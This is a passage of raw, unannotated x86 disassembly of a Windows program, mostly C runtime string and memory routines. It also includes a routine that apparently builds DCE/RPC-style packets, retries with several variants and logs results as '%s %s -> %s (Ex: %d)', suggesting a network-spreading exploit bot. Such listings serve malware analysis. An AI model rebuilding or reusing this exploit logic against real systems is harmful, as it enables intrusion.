[ebp+var_8], eax loc_42198D: ; CODE XREF: sub_421589+3FAj push 8 add eax, esi push ebx push eax call sub_4221F0 mov eax, [ebp+var_8] add esp, 0Ch add eax, 8 cmp byte ptr (loc_44930F+1)[edi], bl jz short loc_4219AE mov [eax+esi], ebx jmp short loc_4219B4 ; --------------------------------------------------------------------------- loc_4219AE: ; CODE XREF: sub_421589+41Ej mov word ptr [eax+esi], 1 loc_4219B4: ; CODE XREF: sub_421589+423j push 18h lea eax, [ebp+var_24] push ebx push eax call sub_4221F0 xor eax, eax add esp, 0Ch inc eax xor ecx, ecx cmp byte ptr (loc_44930F+1)[edi], bl push eax push 10B8h mov [ebp+var_24], 5 push [ebp+arg_0] mov [ebp+var_23], bl setnz cl push esi lea esi, [ebp+var_24] sub esp, 18h lea ecx, [ecx+ecx+19h] mov [ebp+var_E], cx mov [ebp+var_22], bl push 6 mov [ebp+var_21], 3 pop ecx mov [ebp+var_20], 10h mov edi, esp push [ebp+var_4] mov [ebp+var_1A], bx mov [ebp+var_18], eax mov [ebp+var_10], bx rep movsd call sub_4214AA add esp, 2Ch test eax, eax push [ebp+var_4] jnz short loc_421A43 call dword_42F038 ; CloseHandle push [ebp+var_C] call sub_4230B3 pop ecx loc_421A31: ; CODE XREF: sub_421589+224j ; sub_421589+2C0j push ebx push ebx push [ebp+var_7C] call dword_454374 loc_421A3C: ; CODE XREF: sub_421589+41j xor eax, eax jmp loc_421ADA ; --------------------------------------------------------------------------- loc_421A43: ; CODE XREF: sub_421589+497j call dword_42F038 ; CloseHandle push [ebp+var_C] call sub_4230B3 pop ecx push ebx push ebx push [ebp+var_7C] call dword_454374 push 76Ch call dword_42F15C ; Sleep movzx eax, word_439014 push eax lea esi, [ebp+arg_4] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jz short loc_421AD7 mov eax, [ebp+arg_BC] lea eax, [eax+eax*8] shl eax, 3 lea ecx, dword_432090[eax] inc dword ptr [ecx] cmp [ebp+arg_CC], ebx mov ecx, [ecx] jz short loc_421AD7 push ecx lea ecx, [ebp+arg_4] lea eax, dword_432069[eax] push ecx push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSSExD ; "%s %s -> %s (Ex: %d)" push [ebp+arg_D4] push [ebp+arg_D8] call sub_4104F6 add esp, 1Ch loc_421AD7: ; CODE XREF: sub_421589+504j ; sub_421589+522j xor eax, eax inc eax loc_421ADA: ; CODE XREF: sub_421589+4B5j pop edi pop esi pop ebx leave retn sub_421589 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi lea eax, [ebp+10h] push 1 push eax call sub_401AB3 mov ebx, [ebp+0Ch] pop ecx pop ecx lea esi, [ebp+10h] push ebx push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 1 rep movsd call sub_421589 add esp, 0DCh lea esi, [ebp+10h] mov [ebp+0Ch], eax push ebx push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 1 rep movsd call sub_421589 add esp, 0DCh test eax, eax jnz short loc_421B67 cmp [ebp+0Ch], eax jnz short loc_421B67 push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 3 rep movsd call sub_421589 add esp, 0DCh mov [ebp+0Ch], eax loc_421B67: ; CODE XREF: .text:00421B3Cj ; .text:00421B41j push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 3 rep movsd call sub_421589 add esp, 0DCh test eax, eax jnz short loc_421B91 cmp [ebp+0Ch], eax jz short loc_421B94 loc_421B91: ; CODE XREF: .text:00421B8Aj xor eax, eax inc eax loc_421B94: ; CODE XREF: .text:00421B8Fj pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi lea eax, [ebp+10h] push 1 push eax call sub_401AB3 mov ebx, [ebp+0Ch] pop ecx pop ecx lea esi, [ebp+10h] push ebx push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 0 rep movsd call sub_421589 add esp, 0DCh lea esi, [ebp+10h] mov [ebp+0Ch], eax push ebx push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 0 rep movsd call sub_421589 add esp, 0DCh test eax, eax jnz short loc_421C21 cmp [ebp+0Ch], eax jnz short loc_421C21 push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 2 rep movsd call sub_421589 add esp, 0DCh mov [ebp+0Ch], eax loc_421C21: ; CODE XREF: .text:00421BF6j ; .text:00421BFBj push ebx lea esi, [ebp+10h] push dword ptr [ebp+8] sub esp, 0D0h push 34h pop ecx mov edi, esp push 2 rep movsd call sub_421589 add esp, 0DCh test eax, eax jnz short loc_421C4B cmp [ebp+0Ch], eax jz short loc_421C4E loc_421C4B: ; CODE XREF: .text:00421C44j xor eax, eax inc eax loc_421C4E: ; CODE XREF: .text:00421C49j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C54 proc near ; CODE XREF: sub_417989+E8p jmp dword_42F0E8 sub_421C54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C5A proc near ; CODE XREF: sub_417989+3Fp jmp dword_42F0F0 sub_421C5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C60 proc near ; CODE XREF: sub_417989+26p ; sub_417A90+6Dp jmp dword_42F0F4 sub_421C60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C66 proc near ; CODE XREF: sub_417A90+21Bp jmp dword_42F0F8 sub_421C66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C6C proc near ; CODE XREF: sub_417A90+8Bp jmp dword_42F0FC sub_421C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_421C72 proc near ; CODE XREF: sub_4128D4+6Ep ; sub_41391C+65p ... jmp dword_42F224 sub_421C72 endp ; =============== S U B R O U T I N E ======================================= sub_421C78 proc near ; CODE XREF: sub_40D526+10p ; sub_40F08A+6p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4230B3 pop ecx retn sub_421C78 endp ; =============== S U B R O U T I N E ======================================= sub_421C83 proc near ; CODE XREF: sub_40F3E1+Dp mov eax, offset loc_42EF5C call sub_423A68 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40F143 mov esi, offset aStringTooLong ; "string too long" push esi call sub_422120 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40F17B and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_40F1B0 lea eax, [ebp-3Ch] push offset dword_430260 push eax mov dword ptr [ebp-3Ch], offset off_42F348 call sub_423A87 pop esi sub_421C83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421CDD proc near ; CODE XREF: sub_421D1A+20p ; DATA XREF: .text:00430264o mov eax, offset loc_42EF70 call sub_423A68 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_42F368 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40F143 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_423BAB mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_421CDD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D1A proc near ; DATA XREF: .text:0042F350o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_421D53 lea eax, [ebp+var_1C] push offset dword_430260 push eax call sub_423A87 loc_421D37: ; DATA XREF: .text:off_42F348o push esi mov esi, ecx call sub_421CDD test [esp+20h+var_18], 1 jz short loc_421D4D push esi call sub_421C78 pop ecx loc_421D4D: ; CODE XREF: sub_421D1A+2Aj mov eax, esi pop esi retn 4 sub_421D1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D53 proc near ; CODE XREF: sub_421D1A+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40F389 mov dword ptr [esi], offset off_42F348 mov eax, esi pop esi retn 4 sub_421D53 endp ; =============== S U B R O U T I N E ======================================= sub_421D6B proc near ; CODE XREF: sub_40F210+13p ; sub_40F2DD+Ep ; FUNCTION CHUNK AT 00421DFB SIZE 0000000C BYTES mov eax, offset loc_42EF84 call sub_423A68 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40F143 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_422120 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40F17B and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_40F1B0 lea eax, [ebp-3Ch] push offset dword_4300C0 push eax mov dword ptr [ebp-3Ch], offset off_42F378 call sub_423A87 pop esi loc_421DC5: ; DATA XREF: .text:00432014o test byte_631764, 1 jnz short loc_421DD5 or byte_631764, 1 loc_421DD5: ; CODE XREF: sub_421D6B+61j call sub_421DEF test byte_631765, 1 jnz short loc_421DEA or byte_631765, 1 loc_421DEA: ; CODE XREF: sub_421D6B+76j jmp loc_421DFB sub_421D6B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421DEF proc near ; CODE XREF: sub_421D6B:loc_421DD5p push offset nullsub_1 call sub_42321A pop ecx retn sub_421DEF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_421D6B loc_421DFB: ; CODE XREF: sub_421D6B:loc_421DEAj push offset nullsub_1 call sub_42321A pop ecx retn ; END OF FUNCTION CHUNK FOR sub_421D6B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_421E08 proc near ; CODE XREF: sub_416208+ECp ; sub_416208+188p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_421E77 retn 4 sub_421E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E16 proc near ; CODE XREF: sub_416208+10Bp ; sub_416208+1FEp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_421E68 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_449390 push eax call dword ptr [ecx] test eax, eax jl short loc_421E68 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_421E68 lea eax, [ebp+var_4] push eax push 0 call dword_42F22C test eax, eax jz short loc_421E68 and [ebp+var_4], 0 loc_421E68: ; CODE XREF: sub_421E16+Dj ; sub_421E16+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_421E77 leave retn 0Ch sub_421E16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E77 proc near ; CODE XREF: sub_421E08+6p ; sub_421E16+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_421E9B lea eax, [ebp+var_10] push offset dword_430310 push eax call sub_423A87 sub_421E77 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421E9B proc near ; CODE XREF: sub_421E77+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_42F3A0 test eax, eax mov [esi+8], eax jz short loc_421EC7 cmp [esp+4+arg_8], 0 jz short loc_421EC7 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_421EC7: ; CODE XREF: sub_421E9B+1Dj ; sub_421E9B+24j mov eax, esi pop esi retn 0Ch sub_421E9B endp ; =============== S U B R O U T I N E ======================================= sub_421ECD proc near ; DATA XREF: .text:off_42F3A0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_421F16 test [esp+4+arg_0], 1 jz short loc_421EE3 push esi call sub_421C78 pop ecx loc_421EE3: ; CODE XREF: sub_421ECD+Dj mov eax, esi pop esi retn 4 sub_421ECD endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_42F3A0 jz short loc_421F10 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_421F10: ; CODE XREF: .text:00421F08j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_421F16 proc near ; CODE XREF: sub_421ECD+3p ; DATA XREF: .text:00430314o push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_42F3A0 test eax, eax jz short loc_421F2C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_421F2C: ; CODE XREF: sub_421F16+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_421F3A push esi call dword_42F030 ; LocalFree loc_421F3A: ; CODE XREF: sub_421F16+1Bj pop esi retn sub_421F16 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_421F40 proc near ; CODE XREF: start+66p start+B4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_421FF4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_421F6A loc_421F5B: ; CODE XREF: sub_421F40+28j mov al, [edi] inc edi test al, al jz short loc_421F9B test edi, 3 jnz short loc_421F5B loc_421F6A: ; CODE XREF: sub_421F40+19j ; sub_421F40+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_421F6A mov eax, [edi-4] test al, al jz short loc_421FA8 test ah, ah jz short loc_421FA3 test eax, 0FF0000h jz short loc_421F9E test eax, 0FF000000h jnz short loc_421F6A loc_421F9B: ; CODE XREF: sub_421F40+20j dec edi jmp short loc_421FAB ; --------------------------------------------------------------------------- loc_421F9E: ; CODE XREF: sub_421F40+52j sub edi, 2 jmp short loc_421FAB ; --------------------------------------------------------------------------- loc_421FA3: ; CODE XREF: sub_421F40+4Bj sub edi, 3 jmp short loc_421FAB ; --------------------------------------------------------------------------- loc_421FA8: ; CODE XREF: sub_421F40+47j sub edi, 4 loc_421FAB: ; CODE XREF: sub_421F40+5Cj ; sub_421F40+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_421FC0 mov ebx, ecx shr ecx, 2 jnz short loc_42200C jmp short loc_421FDC ; --------------------------------------------------------------------------- loc_421FC0: ; CODE XREF: sub_421F40+75j ; sub_421F40+93j mov dl, [esi] inc esi test dl, dl jz short loc_421FFA mov [edi], dl inc edi dec ecx jz short loc_421FF0 test esi, 3 jnz short loc_421FC0 mov ebx, ecx shr ecx, 2 jnz short loc_42200C loc_421FDC: ; CODE XREF: sub_421F40+7Ej ; sub_421F40+CAj mov ecx, ebx and ecx, 3 jz short loc_421FF0 loc_421FE3: ; CODE XREF: sub_421F40+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_421FF2 dec ecx jnz short loc_421FE3 loc_421FF0: ; CODE XREF: sub_421F40+8Bj ; sub_421F40+A1j mov [edi], cl loc_421FF2: ; CODE XREF: sub_421F40+ABj pop ebx pop esi loc_421FF4: ; CODE XREF: sub_421F40+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_421FFA: ; CODE XREF: sub_421F40+85j ; sub_421F40+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422004: ; CODE XREF: sub_421F40+E4j ; sub_421F40+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_421FDC loc_42200C: ; CODE XREF: sub_421F40+7Cj ; sub_421F40+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_422004 test dl, dl jz short loc_421FFA test dh, dh jz short loc_422058 test edx, 0FF0000h jz short loc_422048 test edx, 0FF000000h jnz short loc_422004 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422048: ; CODE XREF: sub_421F40+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_422058: ; CODE XREF: sub_421F40+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_421F40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422063 proc near ; CODE XREF: start+22p start+52p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_42512C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4220A3 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4220B0 ; --------------------------------------------------------------------------- loc_4220A3: ; CODE XREF: sub_422063+36j lea eax, [ebp+var_20] push eax push 0 call sub_425014 pop ecx pop ecx loc_4220B0: ; CODE XREF: sub_422063+3Ej mov eax, esi pop esi leave retn sub_422063 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4220C0 proc near ; CODE XREF: start+8p sub_401AB3+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_4220E0 loc_4220CC: ; CODE XREF: sub_4220C0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4220CC loc_4220E0: ; CODE XREF: sub_4220C0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4220C0 endp ; =============== S U B R O U T I N E ======================================= sub_4220EF proc near ; CODE XREF: sub_4010E7+9p ; sub_401477+45p ... arg_0 = dword ptr 4 call sub_42599D mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_4220EF endp ; =============== S U B R O U T I N E ======================================= sub_4220FC proc near ; CODE XREF: sub_4010E7+Fp ; sub_4010E7+22p ... call sub_42599D mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_4220FC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_422120 proc near ; CODE XREF: sub_401160+12Bp ; sub_401160+170p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_422140 loc_42212C: ; CODE XREF: sub_422120+19j mov al, [ecx] inc ecx test al, al jz short loc_422173 test ecx, 3 jnz short loc_42212C add eax, 0 loc_422140: ; CODE XREF: sub_422120+Aj ; sub_422120+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_422140 mov eax, [ecx-4] test al, al jz short loc_422191 test ah, ah jz short loc_422187 test eax, 0FF0000h jz short loc_42217D test eax, 0FF000000h jz short loc_422173 jmp short loc_422140 ; --------------------------------------------------------------------------- loc_422173: ; CODE XREF: sub_422120+11j ; sub_422120+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_42217D: ; CODE XREF: sub_422120+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_422187: ; CODE XREF: sub_422120+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_422191: ; CODE XREF: sub_422120+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_422120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42219B proc near ; CODE XREF: sub_401160+11Bp ; sub_401160+160p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_42512C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4221DA mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4221E7 ; --------------------------------------------------------------------------- loc_4221DA: ; CODE XREF: sub_42219B+35j lea eax, [ebp+var_20] push eax push 0 call sub_425014 pop ecx pop ecx loc_4221E7: ; CODE XREF: sub_42219B+3Dj mov eax, esi pop esi leave retn sub_42219B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4221F0 proc near ; CODE XREF: sub_401160+15p ; sub_401311+1Dp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_422243 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_422237 neg ecx and ecx, 3 jz short loc_422219 sub edx, ecx loc_422213: ; CODE XREF: sub_4221F0+27j mov [edi], al inc edi dec ecx jnz short loc_422213 loc_422219: ; CODE XREF: sub_4221F0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_422237 rep stosd test edx, edx jz short loc_42223D loc_422237: ; CODE XREF: sub_4221F0+18j ; sub_4221F0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_422237 loc_42223D: ; CODE XREF: sub_4221F0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_422243: ; CODE XREF: sub_4221F0+Aj mov eax, [esp+arg_0] retn sub_4221F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422248 proc near ; CODE XREF: sub_401311+3Ap ; sub_401311+53p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi call sub_42599D push 8 mov [ebp+arg_4], eax pop ecx xor eax, eax lea edi, [ebp+var_20] push 7 rep stosd pop edi loc_422269: ; CODE XREF: sub_422248+3Aj mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_422269 mov edx, [ebp+arg_0] test edx, edx jnz short loc_422291 mov eax, [ebp+arg_4] mov edx, [eax+18h] loc_422291: ; CODE XREF: sub_422248+41j ; sub_422248+67j mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_4222B1 test al, al jz short loc_4222B1 inc edx jmp short loc_422291 ; --------------------------------------------------------------------------- loc_4222B1: ; CODE XREF: sub_422248+60j ; sub_422248+64j mov ebx, edx loc_4222B3: ; CODE XREF: sub_422248+89j mov al, [edx] test al, al jz short loc_4222D7 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_4222D3 inc edx jmp short loc_4222B3 ; --------------------------------------------------------------------------- loc_4222D3: ; CODE XREF: sub_422248+86j and byte ptr [edx], 0 inc edx loc_4222D7: ; CODE XREF: sub_422248+6Fj mov eax, [ebp+arg_4] pop edi pop esi mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax and eax, ebx pop ebx leave retn sub_422248 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4222F0 proc near ; CODE XREF: sub_401311+2Bp ; sub_401477+93p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_422373 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_422314 shr ecx, 2 jnz short loc_422381 jmp short loc_422335 ; --------------------------------------------------------------------------- loc_422314: ; CODE XREF: sub_4222F0+1Bj ; sub_4222F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_422342 test al, al jz short loc_42234A test esi, 3 jnz short loc_422314 mov ebx, ecx shr ecx, 2 jnz short loc_422381 loc_422330: ; CODE XREF: sub_4222F0+8Fj and ebx, 3 jz short loc_422342 loc_422335: ; CODE XREF: sub_4222F0+22j ; sub_4222F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_42236E dec ebx jnz short loc_422335 loc_422342: ; CODE XREF: sub_4222F0+2Bj ; sub_4222F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_42234A: ; CODE XREF: sub_4222F0+2Fj test edi, 3 jz short loc_422364 loc_422352: ; CODE XREF: sub_4222F0+72j mov [edi], al inc edi dec ecx jz loc_4223E6 test edi, 3 jnz short loc_422352 loc_422364: ; CODE XREF: sub_4222F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_4223D7 loc_42236B: ; CODE XREF: sub_4222F0+7Fj ; sub_4222F0+F4j mov [edi], al inc edi loc_42236E: ; CODE XREF: sub_4222F0+4Dj dec ebx jnz short loc_42236B pop ebx pop esi loc_422373: ; CODE XREF: sub_4222F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_422379: ; CODE XREF: sub_4222F0+A9j ; sub_4222F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_422330 loc_422381: ; CODE XREF: sub_4222F0+20j ; sub_4222F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_422379 test dl, dl jz short loc_4223CB test dh, dh jz short loc_4223C1 test edx, 0FF0000h jz short loc_4223B7 test edx, 0FF000000h jnz short loc_422379 mov [edi], edx jmp short loc_4223CF ; --------------------------------------------------------------------------- loc_4223B7: ; CODE XREF: sub_4222F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_4223CF ; --------------------------------------------------------------------------- loc_4223C1: ; CODE XREF: sub_4222F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_4223CF ; --------------------------------------------------------------------------- loc_4223CB: ; CODE XREF: sub_4222F0+ADj xor edx, edx mov [edi], edx loc_4223CF: ; CODE XREF: sub_4222F0+C5j ; sub_4222F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_4223E1 loc_4223D7: ; CODE XREF: sub_4222F0+79j xor eax, eax loc_4223D9: ; CODE XREF: sub_4222F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_4223D9 loc_4223E1: ; CODE XREF: sub_4222F0+E5j and ebx, 3 jnz short loc_42236B loc_4223E6: ; CODE XREF: sub_4222F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4222F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223F0 proc near ; CODE XREF: sub_4015B4+15p ; sub_4015B4+3Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_422410 cmp edi, eax jb loc_422588 loc_422410: ; CODE XREF: sub_4223F0+16j test edi, 3 jnz short loc_42242C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_42244C rep movsd jmp off_422538[edx*4] ; --------------------------------------------------------------------------- loc_42242C: ; CODE XREF: sub_4223F0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_422444 and eax, 3 add ecx, eax jmp dword ptr loc_42244C+4[eax*4] ; --------------------------------------------------------------------------- loc_422444: ; CODE XREF: sub_4223F0+46j jmp dword 